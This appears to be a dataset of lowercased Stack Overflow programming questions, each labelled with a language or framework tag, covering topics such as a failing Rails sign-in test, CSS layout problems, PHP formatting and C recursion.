rails by example (by michael hartl)  lesson 9  sign in tests won t pass  i am following lesson 9 for sign-in  yet the signin test just won t pass! i followed the code to the letter and it still wont pass.    when testing with the browser - the sign in works with no errors..    failures:    1) sessionscontroller post  create  with valid email and password should sign the user in      failure/error: controller.current_user.should == @user        expected: #             got: nil (using ==)      # ./spec/controllers/sessions_controller_spec.rb:55:in `block (4 levels) in      2) sessionscontroller post  create  with valid email and password should redirect to the user show page      failure/error: response.should redirect_to(user_path(@user))        expected block to return true value.      # ./spec/controllers/sessions_controller_spec.rb:61:in `block (4 levels) in      finished in 5.12 seconds 7 examples  2 failures    failed examples:   <pre><code>rspec ./spec/controllers/sessions_controller_spec.rb:53 # sessionscontroller post  create  with valid email and password should sign the user in rspec ./spec/controllers/sessions_controller_spec.rb:59 # sessionscontroller post  create  with valid email and password should redirect to the user show page </code></pre>   as you can see  the test <code>controller.current_user.should == @user</code> returns nil for some reason.    please help me understand this..    thank you    sessionhelper   <pre><code>    module sessionshelper   def sign_in(user)     cookies.permanent.signed[:remember_token] = [user.id  user.salt]     self.current_user= user      end   def signed_in      !self.current_user.nil  end def current_user=(user)     @current_user = user end   def current_user     @current_user ||= user_from_remember_token end    private  def user_from_remember_token   user.authenticate_with_salt(*remember_token) end  def remember_token   cookies.signed[:remember_token] || [nil  nil] end    end </code></pre>   session controller   <pre><code>    class sessionscontroller &lt; applicationcontroller      def new        @title =  sign in         end      def create     user = user.authenticate(params[:session][:email]  params[:session][:password])     if user.nil          flash.now[:error] =  invalid email/password           @title =  sign in (right this time)          render  new      else         #sign in the user         sign_in @user         redirect_to user      end end  def destroy  end    end </code></pre>   user model   <pre><code>   require  digest      class user &lt; activerecord::base  attr_accessor :password attr_accessible :name  :email  :password  :password_confirmation   email_regex =  /\a[\w+\-.]+@[a-z\d\-.]+\.[a-z]+\z/i    validates :name  :presence =&gt; true                          :length =&gt; {:minimum =&gt; 2  :maximum =&gt; 50} validates :email  :presence =&gt; true  :format =&gt; {:with =&gt; email_regex}  :uniqueness =&gt; {:case_sensitive =&gt; false }  #automatically creates the virtual password confimration attribute validates :password  :presence =&gt; true                                  :confirmation =&gt; true                                  :length =&gt; {:within =&gt; 6..40}   before_save :encrypt_password  def has_password (submitted_password)     self.salt = make_salt if new_record      encrypted_password == encrypt(submitted_password) end  def self.authenticate(email  submitted_password)     user = find_by_email(email)     return nil if user.nil      return nil if user.has_password (submitted_password) end   def self.authenticate_with_salt(id  cookie_salt)     user = find_by_id(id)     (user &amp;&amp; user.salt == cookie_salt)   user : nil end        private  def encrypt_password   self.salt = make_salt unless has_password (password)   self.encrypted_password = encrypt(password) end  def encrypt(string)   secure_hash( #{salt}--#{string} ) end  def make_salt   secure_hash( #{time.now.utc}--#{password} ) end  def secure_hash(string)   digest::sha2.hexdigest(string) end    end </code></pre>   session controller spec   <pre><code>require  spec_helper   describe sessionscontroller do render_views     describe  get  new   do     it  should be successful  do       get  new        response.should be_success     end      it  should have the right title  do         get :new         response.should have_selector( title   :content =&gt;  sign in )     end      end    describe  post  create   do          describe  invalid login  do             before(:each) do                 @attr = {:email =&gt;  email@example.com   :password =&gt;  invalid }             end              it  should re-render the new page  do                 post :create  :session =&gt; @attr                 response.should render_template( new )             end              it  should have the right title  do                 post :create  :session =&gt; @attr                 response.should have_selector( title   :content =&gt;  sign in (right this time) )             end              it  should have flash.now message  do                 post :create  :session =&gt; @attr                 flash.now[:error].should =~ /invalid/i             end         end          describe  success  do              before(:each) do                 @user = factory(:user)                 @attr = { :email =&gt; @user.email  :password =&gt; @user.password }             end              it  should sign the user in  do                 post :create  :session =&gt; @attr                 controller.current_user.should == @user                 controller.should be_signed_in             end              it  should redirect to the user show page  do                 post :create  :session =&gt; @attr                 response.should redirect_to(user_path(@user))             end         end      end  end </code></pre>,ruby-on-rails
how can i format the number for only showing 1 decimal place in php   does any one know how can i format the number and limited it to only show 1 decimal place in php     example:    how can i format the number 2.10 to 2.1 in php,php
how do i allow a single table cell to expand in a fixed table layout   i ve got a fixed width table that has 3 columns. i want the first column to resize based on the text  the second column is fixed width  and the third column should take the remainder of the space and truncate any part that doesn t fit in the cell (text-overflow: ellipsis). the table is just the single row.    here s a simplified version of my table...   <pre><code>&lt;table&gt;     &lt;tr&gt;         &lt;td&gt;250.9&lt;/td&gt;         &lt;td&gt; | &lt;/td&gt;         &lt;td&gt;this is really long and should be truncated&lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>   1st column is a decimal number from 1 to 250  single decimal precision. 2nd column is just a separator between the first and last column. 3rd column is a user-entered title that can be very long  though typically fits in the space provided.    here is a fiddle project that shows one of the things i ve tried: <a href= http://jsfiddle.net/a4n2z/2/  rel= nofollow >http://jsfiddle.net/a4n2z/2/</a>    i ve also tried a set of floated divs  but the last div wraps to the next line if it doesn t fit: <a href= http://jsfiddle.net/5epvw/1/  rel= nofollow >http://jsfiddle.net/5epvw/1/</a>    since it s just a single row  it doesn t have to be a table if somebody knows of another approach. the goal is for the text to line up in a single row and be no wider than a certain width.,css
what can i replace with strings.mid in c#  what can i replace with strings.mid in c#    strings.mid(filename  strings.instrrev(filename   \ ) + 1));,.net
adding a button to footer in html  how to add a button to the bottom of a webpage  i tried this :   <pre><code>&lt;div id= footer  style= text-align:center &gt;     &lt;form id =  reset  action =  bug.html &gt;         &lt;input type =  submit  value =  reset &gt;      &lt;/form&gt; &lt;/div&gt; </code></pre>   but not working ! i need the button to be static there itself (shouldn t move even if some other elements are added to the body afterwards). how to achieve this,html
vb.net - load files based on combo box selected index  ok  so i m doing a fingerprint recognition system whereby i have to load the fingerprint template and verify if the template and the input on the device is match.    so what i have done is to retrieve all the template that saved in my desktop (.fpt) and added to combo box.    now i m trying to get if the selectedindex   (for instance: melanie.fpt is selected from the combo box  then system should load the file  then i will verify if the input matches the template)    below is the code for my combo box (successfully loaded into my combo box)   <pre><code>for each foundfile as string in my.computer.filesystem.getfiles(     my.computer.filesystem.specialdirectories.desktop      microsoft.visualbasic.fileio.searchoption.searchallsubdirectories   *.fpt )         cmbtemplatefiles.items.add(foundfile)     next </code></pre>   <strong>question</strong>   <ol> <li> how do i let the system know if this selected index is referring to the particular file  </li> <li> after selecting  click on the button  systems will retrieve the file base on index selected  then i will do the comparison and verification </li> <li> but i have not still figured out  can anyone spark me with idea nor logic  </li> </ol>,.net
angular 2  ngfor not working with error in console  i m trying to follow a tutorial. this is a simple page which displays courses. i m getting below error in console. angular 2 dependency is  angular2 :  2.0.0-beta.7 . i have tried using  #  in stead of  let .    can t bind to  ngfor  since it isn t a known native property      ( {{title}}                 ]*ngfor= let course for courses >           {{course}}          </li>    module course.components.ts   <pre><code>import {component} from  angular2/core ; import {coursesservice} from  ./courses.service ;  @component({    selector: courses       template:`&lt;h1&gt;courses&lt;/h1&gt;           {{title}}           &lt;ul&gt;              &lt;li *ngfor= let course for courses &gt;           {{course}}          &lt;/li&gt;           &lt;/ul&gt;           `          providers:[coursesservice]     }) export class coursescomponent {    title= the title of courses page ;    courses;     constructor(coursesservice:coursesservice)    {      this.courses = coursesservice.getcourses();    } }   module course.service.ts export class coursesservice {    getcourses():string[]    {      return [ course1   course2   course3 ];    } } </code></pre>,angularjs
buttons on the app displaying by default in chinese not in english  i have an app  and all the buttons are displayed in chinese instead of english.    the simulator  and everything is set up in english...so it is not related to the simulator settings.    any ideas  iphone project,iphone
trouble with dots using rails paperclipftp  i got trouble with paperclipftp    here my config :   <pre><code>has_attached_file :resume_img  :styles =&gt; { :thumb =&gt;  100x100#  :screen =&gt;  690x780#  } :retina =&gt; { :quality =&gt; 70 }                      :path =&gt;  username.com/uploads/:attachment/:id/:style/:filename                       :url =&gt;  http://username.com/:attachment/:id/:style/:filename                       :storage =&gt; :ftp                      :ftp_credentials =&gt; { :host =&gt;  ftp.username.com   :username =&gt;  username   :password =&gt;  *******  }                      :ftp_passive_mode =&gt; false                      :ftp_timeout =&gt; 90                      :ftp_verify_size_on_upload =&gt; false                      :ftp_debug_mode =&gt; false </code></pre>   my ftp is hosted by dreamhost  i need to upload inside the folder <code>username.com</code> but something strange appears rails escape the dots so it upload to <code>usernamecom/uploads/</code>    it does the same with the url it try to find the image at <code>http://usernamecom/</code>    any idea,ruby-on-rails
css arrow filled with a gradient percentage  <img src= https://i.stack.imgur.com/srpxd.png  alt= arrow >    hi  i m scratching my head over this one. i want to create a css gradient arrow like the one shown  and with the ability to define the fill of the red section as a percentage. the red block is just a solid colour.    from this <a href= http://jsfiddle.net/melon/9fwhg/2/  rel= nofollow noreferrer >jfiddle</a> example i have made some progress on creating the green arrow  but the gradient on the triangle is in the wrong direction. i am still unsure of how to get the red block to fill up as a percentage of the green arrow. for example if the red portion is 90% i m going to have to somehow create half a triangle. help please :)    example code for the green arrow:   <pre><code>div.a3 {    width: 100px;    height: 50px;    position: relative;    margin: 50px;     background: -webkit-linear-gradient(top  #99c739 0% #4eb739 100%);    background:    -moz-linear-gradient(top  #99c739 0%  #4eb739 100%);  }  div.a3:after {    z-index: -1;    content:   ;    display: block;    position: absolute;    right: -75px;    top: -50px;    margin: 50px;    height: 50px;    width: 50px;     -webkit-transform:rotate( -45deg );    -moz-transform:rotate( -45deg );         transform:rotate( -45deg );     background: -webkit-linear-gradient(135deg  #99c739 0%  #4eb739 50%  #ffffff 50%  #ffffff 100%);    background:    -moz-linear-gradient(135deg  #99c739 0%  #4eb739 50%  #ffffff 50%  #ffffff 100%); } </code></pre>,css
iphone drop down list  i didn t find the drop down list in the iphone library. instead of drop down list  is there any other alternative. please let me know.    thanks,iphone
the easiest way to build and deploy an iphone application that just points to my web app  i just want an icon on my users iphone that takes them to my web applications. this is more of a bookmark than an actual application :)    is there a quick and easy way to do this without having to mess with objective c     also can i avoid the app store for my deployment,iphone
strange characters appearing in html code  we have a chatroom on our website and it allows us to enter text below the chatroom and switch back and forth between html and regular text with a checkbox:  check this box to use wysiwyg editing . the inputted text looks fine in the editor but after we hit save there are  â  characters scattered through out the paragraphs.    example:   <pre>â 474themix.comâ©â radio - mix virtual studio chat communityâ©</pre>   how and why is this occurring  and can we stop this from happening,html
how does odd number print increasing order  <pre><code>#include &lt;stdio.h&gt; #include&lt;string.h&gt;  void magic(int in); int even(int n);  int main() {     magic(10); }  void magic(int in) {     if(in == 0)     {         return;     }     if(even(in))     {         printf( %i\n   in);     }      magic(in - 1);      if(!even(in))     {         printf( %i\n   in);     }     return; }  int even(int n) {     return (n % 2) == 0   1 : 0; } </code></pre>   how does odd number print in increasing order  it prints 10 8 6 4 2 1 3 5 7 9. i know upto 10 8 6 4 2 but how come it prints 1 3 5 7 9  after decreasing order,c
if condition inside echo  the if condition inside echo statement does not work.     i get this error:   <blockquote>    syntax error  unexpected <code> ) </code> in   <pre><code>    echo   &lt;div class= panel-body &gt;           .$dec.            .(($ttype ==  video )                 &lt;iframe class= embed-responsive-item                   width= 560  height= 315                  src= https://www.youtube.com/embed/ .$only_id[1].   frameborder= 0                  allowfullscreen=  &gt;&lt;/iframe&gt; ).                  &lt;/div&gt; ; </code></pre> </blockquote>,php
hashing password <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3191690/password-hashing >password hashing</a>    </blockquote>     what is the best practice to hash the password     i did the following:   <pre><code>$salt = 12345; $hash = hash( sha256   $_post[ password ] . $salt); </code></pre>   is there a better solution and secure,php
"struggling with a specific nav menu design  i m trying to do a nav menu in a particular style  it needs to be a bunch of square buttons/list items  then when you hover over an item  the background behind the item changes color  a decent height above the item and behind the drop down list  as seen in the image below.    my issue is that im curious if i m doing it the most efficient way and also when i hover over the initial item  it is working but then you go to one of the drop down items and the main/parent item disappears into the background.    code:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>body {
   background-color: #00aeef;
 }
 .navbg {
   background-color: #fff;
 }
 nav {
   padding-top: 100px;
   padding-left: 100px;
 }
 ul {
   list-style-type: none;
   padding: 0;
   margin: 0;
   display: inline-block;
   text-align: center;
 }
 li {
   display: inline-block;
   display: inline;
   float: left;
   background-color: #00aeef;
   border: solid 4px #fff;
   width: 150px;
 }
 li a {
   display: block;
   padding: 10px 5px;
   color: #fff;
   text-align: center;
 }
 li a:hover {
   color: #fff;
   border: solid 4px #00ee98;
   border-top: solid 100px #00ee98;
   margin-top: -100px;
 }
 .droplinks {
   position: absolute;
   background-color: #00aeef;
   min-width: 150px;
   display: none;
   margin-left: -2px;
 }
 .droplinks a {
   padding: 10px;
   display: block;
   border: solid 2px #00ee98;
 }
 .droplinks a:hover {
   color: #fff;
 }
 .dropbutton:hover .droplinks {
   display: block;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= container-fluid navbg &gt;
   &lt;nav&gt;
     &lt;ul&gt;
       &lt;li&gt;&lt;a href=  &gt;home&lt;/a&gt;
       &lt;/li&gt;
       &lt;li class= dropbutton &gt;&lt;a href=  &gt;products&lt;/a&gt;
         &lt;div class= droplinks &gt;
           &lt;a href=  &gt;widgets&lt;/a&gt;
           &lt;a href=  &gt;cogs&lt;/a&gt;
           &lt;a href=  &gt;gears&lt;/a&gt;
         &lt;/div&gt;
       &lt;/li&gt;
       &lt;li class= dropbutton &gt;
         &lt;a href=  &gt;services&lt;/a&gt;
         &lt;div class= droplinks &gt;
           &lt;a href=  &gt;handshakes&lt;/a&gt;
           &lt;a href=  &gt;winks&lt;/a&gt;
           &lt;a href=  &gt;smiles&lt;/a&gt;
         &lt;/div&gt;
       &lt;/li&gt;
       &lt;li&gt;&lt;a href=  &gt;shop&lt;/a&gt;
       &lt;/li&gt;
       &lt;li&gt;&lt;a href=  &gt;contact&lt;/a&gt;
       &lt;/li&gt;
     &lt;/ul&gt;
   &lt;/nav&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     then on hovering a menu item  it changes to this;    <img src= https://i.stack.imgur.com/uapvp.jpg  alt= on hover >    however  when i then go to a sub menu item the top level item messes up as in the example above. would could be done to resolve this",css
filling a character array with subsequent letters in a string  for example i need to get the string  example  split by characters and fill a character array with a determined size and then stop when the array is full.     so if the character array had 10 elements then the resulting array would have components:    <pre><code>{e x a m p l e e x a} </code></pre>,java
viewwillappear / viewwilldisappear not called....my answer to this  i have been struggling with this issue for a while and i noticed that many people came across the same thing by reading many posts here and on other forums. just this morning i realised what i was doing wrong and i thought of sharing it just in case someone stumbles over it in the future.    the problem in my implementation was that within viewdidload of view controller (vc1) i was setting its view property to a new view controller (vc2) which forces i believe the framework to exit viewdidload of vc1 without reaching its end  hence not calling the consequent delegate function of the view controller: viewwillappear  viewwilldisappear  viewwillappear  and viewwilldisappear!    so my solution was to delay all the code that has to do with creating and setting vc2 to be called from within viewdidappear instead of viewdidload. if you do it from viewwillappear you will get to the same trouble.     hope it helps af,iphone
is there a function similar to string compare but for integers   i want to allow the user to enter a variable amount  and then compare that amount to my array of percentages. and then display all amounts in my percentages array equal to or greater than that number the user entered. i would also like to do this for a lower amount  but they should be the same i would think. if anyone can provide any insight i would appreciate it! code will be attached underneath.. (please let me know if i can clarify anything)   <pre><code>/* 10/31/2017 football stats */  #include &lt;stdio.h&gt;  #define num_team 30 #define len_name 40  void displaywelcome(void); void calcpercent(double percentages[]  int elements  int wins[]  int losses[]  int ties[]); void showall (char name[]  char league[]  char division[]  int wins  int  losses  int ties  double percentages); void displayexit(void);  int main (void) { //display welcome message displaywelcome();  char name[num_team][len_name] = {0}; char division[num_team][len_name] = {0}; char league[num_team][len_name] = {0}; char line[len_name]; char menu  again;  int wins[num_team] = {0}; int losses[num_team] = {0}; int ties[num_team] = {0}; int i = 0  count  sum  percentquery;  double percentages[num_team] = {0}; ;  file * fileptr;  fileptr = fopen( c:\\users\\thoma\\nflteams.txt    r ); if (fileptr == null) {     printf( unable to open file\n ); } else {     while (i &lt; num_team &amp;&amp; fgets( line  sizeof(line)  fileptr) != null)     {         sscanf(line   %s%s%s%i%i%i  name[i]  league[i]  division[i]  &amp;wins[i]  &amp;losses[i]  &amp;ties[i]);         i++;     }     fclose(fileptr);     count = i; } //^ end reading in file  //calculate win percentages calcpercent( percentages  count  wins  losses  ties);  //main menu loop do {     //ask user how they would like to search     printf( please choose an option from the following menu:              \n-enter  a  to display all information contained in the database              \n-or enter  b  to search by league              \n-or enter  c  to search by division              \n-or enter  d  to search by wins above a certain percentage              \n-or enter  e  to search by wins below a certain percentage:  );     scanf( \n%c   &amp;menu);      //if user chooses a     if (menu ==  a )     {         //display all of database         for (i = 0; i &lt;= count - 1; i = i + 1)         {             showall(name[i]  league[i]  division[i]  wins[i]  losses[i]  ties[i]  percentages[i]);         }     }     //if user chooses b     else if (menu ==  b )     {         // propmt user to choose afc or nfc         printf( \nplease choose from the following menu:\nenter  a  to search for teams in the afc league \nor enter  b  to search for teams in the nfc league:  );         // scan for what the user entered         scanf( \n%c   &amp;menu);         //display option for afc         if (menu ==  a )         {             for (i = 0; i &lt; count; i = i + 1 )             {                 if (strcmp (league[i]   afc ) == 0)                 {                     printf( here are the standings for the teams in the afc division:\n );                     printf( team name: %s \nleague: %s\ndivision: %s\nwins: %i losses: %i ties: %i\nwin rate: %.2lf%%\n\n   name[i]  league[i]  division[i]  wins[i]  losses[i]  ties[i]  percentages[i]);                 }             }         }         else             //display option for nfc         {             for (i = 0; i &lt; count; i = i + 1 )             {                 if (strcmp (league[i]   nfc ) == 0)                 {                     printf( here are the standings for the teams in the nfc division:\n );                     printf( team name: %s \nleague: %s\ndivision: %s\nwins: %i losses: %i ties: %i\nwin rate: %.2lf%%\n\n   name[i]  league[i]  division[i]  wins[i]  losses[i]  ties[i]  percentages[i]);                 }             }         }     }     //if user chooses c     else if (menu ==  c )     {         printf( \nplease choose an option from the following menu: \nenter  a  if you would like to search for north division standings\n                  or enter  b  to search for east division standings\nor enter  c  to search for south division standings\nor enter                    d  to search for west division standings:  );         scanf( \n%c   &amp;menu);          if (menu ==  a )         {             for (i = 0; i &lt; count; i = i + 1 )             {                 if (strcmp (division[i]   north ) == 0)                 {                     printf( here are the standings for the teams in the north division:\n );                     printf( team name: %s \nleague: %s\nwins: %i losses: %i ties: %i\nwin rate: %.2lf%%\n\n   name[i]  league[i]  wins[i]  losses[i]  ties[i]  percentages[i]);                 }             }         }         else if (menu ==  b )          {             for (i = 0; i &lt; count; i = i + 1 )             {                 if (strcmp (division[i]   east ) == 0)                 {                     printf( here are the standings for the teams in the east division:\n );                     printf( team name: %s \nleague: %s\nwins: %i losses: %i ties: %i\nwin rate: %.2lf%%\n\n   name[i]  league[i]  wins[i]  losses[i]  ties[i]  percentages[i]);                 }             }         }         else if (menu ==  c )          {             for (i = 0; i &lt; count; i = i + 1 )             {                 if (strcmp (division[i]   south ) == 0)                 {                     printf( here are the standings for the teams in the south division:\n );                     printf( team name: %s \nleague: %s\nwins: %i losses: %i ties: %i\nwin rate: %.2lf%%\n\n   name[i]  league[i]  wins[i]  losses[i]  ties[i]  percentages[i]);                 }             }         }         else if (menu ==  d )          {             for (i = 0; i &lt; count; i = i + 1 )             {                 if (strcmp (division[i]   west ) == 0)                 {                     printf( here are the standings for the teams in the west division:\n );                     printf( team name: %s \nleague: %s\nwins: %i losses: %i ties: %i\nwin rate: %.2lf%%\n\n   name[i]  league[i]  wins[i]  losses[i]  ties[i]  percentages[i]);                 }             }         }      }     //if user chooses d     else if (menu ==  d )     {        /* unfinished.. could not figure out syntax        my goal was to compare my percentages array to the value that the user inputted (which was stored in the variable  percentquery  and display values that were greater than or equal to my percent                                                                                         query         printf( in this menu  you may search for a win percentage above a certain amount.\n                  please enter the amount you would like to search above:  );         scanf( \n%d   &amp;percentquery);          for (i = 0; i &lt; count; i = i + 1 )     {                 //i could not figure out the syntax for comparing to see if it was greater than or equal to percentquery                if (strcmp (percentages[i]  percentquery) == 0)                     {                 printf( here are the standings for the teams with a win percent above %i%% )  percentquery;                 printf( team name: %s \nleague: %s\nwins: %i losses: %i ties: %i\nwin rate: %.2lf%%\n\n   name[i]  league[i]  wins[i]  losses[i]  ties[i]  percentages[i]);             }         }*/     }     //if user chooses e     else if (menu ==  e )     {          /* unfinished.. could not figure out syntax        my goal was to compare my percentages array to the value that the user inputted (which was stored in the variable  percentquery  and display values that were less than or equal to my percent                                                                                         query         printf( in this menu  you may search for a win percentage below a certain amount.\n                  please enter the amount you would like to search below:  );         scanf( \n%d   &amp;percentquery);         for (i = 0; i &lt; count; i = i + 1 )     {               //  i could not figure out the syntax for comparing to see if it was less than or equal to percentquery                if (strcmp (percentages[i]  percentquery) == 0)                     {                 printf( here are the standings for the teams with a win percent below %i%% )  percentquery;                 printf( team name: %s \nleague: %s\nwins: %i losses: %i ties: %i\nwin rate: %.2lf%%\n\n   name[i]  league[i]  wins[i]  losses[i]  ties[i]  percentages[i]);             }         }*/     }      //prompt user for replay of main menu  printf( \nwould you like to return to the main menu \n              enter (y)es or (n)o:  );            scanf( \n%c   &amp;again);  }  while (again ==  y );    //whatever the user types in  strcmp to our data base and set it equal to that. displayexit(); return 0; }  void displaywelcome(void) { printf( welcome to my football stats.\n\n ); }  void calcpercent(double percentages[]  int count  int wins[]  int losses[]  int ties[]) { int i  sum; for (i = 0; i &lt;= count -1; i = i + 1) {     sum = wins[i] + losses[i] + ties[i];     percentages[i] = ((double) wins[i] / sum) * 100; } } void showall (char name[]  char league[]  char division[]  int wins  int  losses  int ties  double percentages) { printf( team name: %s \nleague: %s\ndivision: %s\nwins: %i losses: %i ties: %i\nwin rate: %.2lf%%\n\n   name  league  division  wins  losses  ties  percentages); }  void displayexit(void) { printf( \nthese results were brought to you by. ); } </code></pre>,c
delete a object from an array of objects  is there a way to do this:   <pre><code>player[] player = new player[numofplayers]; for(int i=0; i &lt; numofplayers; i++){     player[i] =  new player( player +i  0);  } //becomes like this right   player[0].name= a ; player[1].name= b  player[2].name= c  player[3].name= t  player[i].name= baz  </code></pre>   how can i remove say <code>player[2]</code> so that the new array of objects becomes:   <pre><code>player[0].name= a ; player[1].name= c  player[2].name= t  player[i].name= baz  </code></pre>,java
hover effects n image icons using css  as i tried hover effects for image icons its working fine in my local server but when i deploy in online server on hover the color of the image is not changing immediately it is taking time to change the color of the icon for the first time.thanks in advance.    css:   <pre><code>.images1  .images2  .images3  .images4  .images5  .images6  .images7  {         display: inline-block;         vertical-align: middle;        -webkit-transform: translatez(0);         transform: translatez(0);           box-shadow: 0 0 1px rgba(0  0  0  0);          -webkit-backface-visibility: hidden;           backface-visibility: hidden;          -moz-osx-font-smoothing: grayscale;           -webkit-transition-duration: 0.3s;            transition-duration: 0.3s;          -webkit-transition-property: transform;           transition-property: transform;           }            .images1:hover  .images1:focus  .images1:active  .images2:hover  .images2:focus  .images2:active           .images3:hover  .images3:focus  .images3:active          .images4:hover  .images4:focus  .images4:active           .images5:hover  .images5:focus  .images5:active          .images6:hover  .images6:focus  .images6:active         .images7:hover  .images7:focus  .images7:active         {      -webkit-transform: scale(1.1);       transform: scale(1.1);        } </code></pre>,css
"the `display: none;` did not work  why my qrcode-big do not hidden  the bellow is my component code:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>&lt;script&gt;
 
   export default{
     name:  iheader  
     data(){
       return {
         qrcodeishidden:true
       }
     } 
     components: {} 
     methods: {
       overshow(){
         this.qrcodeisshow=true
       } 
       outhide(){
         this.qrcodeisshow=false
       }
     }
   }
 
 
 &lt;/script&gt;</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>&lt;style scoped&gt;
 
   ...
 
   .qrcode-big {
     width: 110px;
     height: 140px;
     background-color: #fff;
 
     text-align: center;
 
     position: absolute;
     right: 10px;
     top: 50px;
     z-index: 100;
   }
 
   .i-hide {
     display: none;
   }
 
   .qrcode-big img  span {
     margin: 0 auto;
   }
 
   .qrcode-big img {
     display: block;
     width: 50px;
     height: 50px;
     margin-top: 20px;
     margin-bottom: 14px;
 
   }
 
   .box-shadow{
     -webkit-box-shadow:0 0 10px rgba(204  204  204  .5);
     -moz-box-shadow:0 0 10px rgba(204  204  204  .5);
     box-shadow:0 0 10px rgba(204  204  204  .5);
   }
 
   .qrcode-big span {
     font-size: 12px;
     color: #000;
   }
 
   .qrcode img {
     line-height: 68px;
     width: 14px;
     height: 14px;
     margin: 4px auto -4px auto;
     background-color: #c3c3c3;
   }
 
   .flex-box {
     display: -webkit-box; /* old - ios 6-  safari 3.1-6 */
     display: -moz-box; /* old - firefox 19- (buggy but mostly works) */
     display: -ms-flexbox; /* tweener - ie 10 */
     display: -webkit-flex; /* new - chrome */
     display: flex; /* new  spec - opera 12.1  firefox 20+ */
   }
 
 &lt;/style&gt;
 
 there is the html code:</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;template&gt;
   ......
       &lt;div class= right-buttons  &gt;
 
         &lt;div class= qrcode  @mouseover= overshow  @mouseout= outhide &gt;
           &lt;img src= ../../assets/img/home/little-qrcode.png &gt;
         &lt;/div&gt;
         &lt;div class= login-logout &gt;
           &lt;a&gt;登录/注册&lt;/a&gt;
         &lt;/div&gt;
       &lt;/div&gt;
       &lt;div  :class= {  qrcode-big : true   box-shadow : true   i-hide :qrcodeishidden } &gt;
         &lt;img src= ../../assets/img/home/little-qrcode.png &gt;
         &lt;span&gt;请扫码关注 接收重要通知&lt;/span&gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 &lt;/template&gt;</code></pre>
 </div>
 </div>
     there are some indifferent code upper you can ignore them  the key code are <code>qrcode-big</code>  its <code>display:none;</code> do not work  you can check in the bellow.    from the snapshot you can see the <code>i-header</code> s style: the <code>display: none;</code> is strikethrough  why it do not work there     <hr>   the snapshot is there  why it do not hidden   the <code>display: none;</code> did not work.    <a href= https://i.stack.imgur.com/n9g6j.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/n9g6j.jpg  alt= enter image description here ></a>",css
php parsing from pgsql  i have a connection to a postgresql db its returning the following results   <pre><code>o4  multilinestring((-91.4272099951079 35.6984820849707 -91.2691971234476 35.8195546559061)) i4  multilinestring((-91.4668296641028 35.5407821819705 -91.3332878428544 35.7230307833947 -91.1889662757843 35.8834271551078)) </code></pre>   using this query:   <pre><code>select id  astext(the_geom)from trkl </code></pre>   i am trying to generate a file like the following  i have to invert the cords 35.xx should be first and -91.xx last is there a easy way to do this    <pre><code> o4  35.62200200  -88.98259200 35.62203500  -88.98240800 35.62202700  -88.98231000 35.62180000  -88.98163400 end:  i4  35.62200200  -88.98259200 35.62203500  -88.98240800 35.62202700  -88.98231000 35.62180000  -88.98163400 35.62175700  -88.98149000 35.62172500  -88.97881200 35.62172000  -88.97798500 35.62169800  -88.97752400 end </code></pre>,php
dropdown disabled in table asp.net  i try to disable dropdown in table.. like when admin view any new documents and then select value from dropdown i.e aprove/reject when he select and click on button then this dropdown must be disabled and then when amdin again view new documents then in this dropdown must bt enable until admin approve/reject this document .....how i done this ..   <pre><code>      protected void repeater2_itemdatabound(object sender  repeateritemeventargs e)     {            dropdownlist ddldrop = e.item.findcontrol( dropdownlist4 ) as dropdownlist;         hiddenfield hfdepartmentid = e.item.findcontrol( hfdepartmentid ) as           hiddenfield;          if (ddldrop != null &amp;&amp; hfdepartmentid != null)          {             if(hfdepartmentid.value != string.empty &amp;&amp; hfdepartmentid.value.trim() !=                  3 )             {               ddldrop.selectedvalue = hfdepartmentid.value.trim();             ddldrop.enabled = false;             }         } </code></pre>,asp.net
angularjs: what compile function does  i am new in angular js.     just like to know about few line like what they does.   <pre><code>app.directive( fancybox   function($compile) {   return {     restrict:  a       replace: false      link: function($scope  element  attrs) {        $scope.open_fancybox = function() {          var el = angular.element(element.html())           compiled = $compile(el);          $.fancybox.open(el);          compiled($scope);        };     }   }; }); </code></pre>   below these lines are not clear.   <pre><code>var el = angular.element(element.html())  compiled = $compile(el); $.fancybox.open(el); compiled($scope); </code></pre>   1) what $compile does and what it return after compile   2) when we need to compile scope like compiled($scope);    i have test the if i comment this line compiled($scope); then value is not putting into expression.......why      please guide me in detail. thanks,angularjs
animation in changing the side of view controller in objective c  i am making side menu bar on which when we click on button the view move backward which is parallely which i have already made it but i want one side to be get decrease in size on moving backward    actually my question is that how can we change the size of one side of   viewcontroller without affecting the size of other side by writing programe,objective-c
jquery + populate selectbox with numbers  i want to populate selectbox dynamically with the count available from total number of text boxes     i.e.    if i have text 2 textboxes then the selectbox should like   <blockquote> <pre><code>&lt;select&gt;       &lt;option value= 1 &gt;1&lt;/option&gt;       &lt;option value= 2 &gt;2&lt;/option&gt;  &lt;/select&gt; </code></pre> </blockquote>   and when i add a new textbox dynamically i.e third textbox then the one more option should be added dynamically  like..   <pre><code>&lt;select&gt;         &lt;option value= 1 &gt;1&lt;/option&gt;         &lt;option value= 2 &gt;2&lt;/option&gt; &lt;option value= 3 &gt;3&lt;/option&gt;  &lt;/select&gt; </code></pre>   please guide me with possible approach for this    thanks,jquery
how do i align the label and input in a one line   above is my form: <a href= https://i.stack.imgur.com/rmxqo.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/rmxqo.png  alt= enter image description here ></a>    i want the label category to be horizontally at par with select category drop down. same for other form items.    here s my css:   <pre><code>.labelcontainer {   clear: both;   float: left;   width: 200px;  }  .inputcontainer {   clear:left;   float: left;   width: 200px; } </code></pre>   and some of my html:   <pre><code>&lt;div class= labelcontainer &gt;             &lt;label for= date &gt;date&lt;/label&gt;         &lt;/div&gt;          &lt;div class= inputcontainer &gt;         &lt;input type= text  id= datepicker  name= datepicker /&gt;         &lt;/div&gt; </code></pre>,html
